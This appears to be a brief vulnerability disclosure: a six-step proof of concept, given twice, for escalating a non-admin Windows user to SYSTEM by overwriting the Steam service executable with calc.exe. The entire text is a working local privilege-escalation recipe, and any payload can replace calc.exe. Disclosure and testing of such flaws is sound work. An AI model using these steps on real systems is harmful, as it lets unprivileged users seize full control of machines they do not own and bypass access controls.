1. Log on as non-admin on a box with steam
2. Do not start steam or any game
3. cat %system32%\calc.exe > %programfiles%\steam\bin\steamservice.exe
4. Reboot
5. Log on, start steam
6. BAM! Now you have calc.exe (attempted to) run as System with highest local priveleges
1. Log on as non-admin on a box with steam 2. Do not start steam or any game 3. cat %system32%\calc.exe > %programfiles%\steam\bin\steamservice.exe 4. Reboot 5. Log on, start steam 6. BAM! Now you have calc.exe (attempted to) run as System with highest local priveleges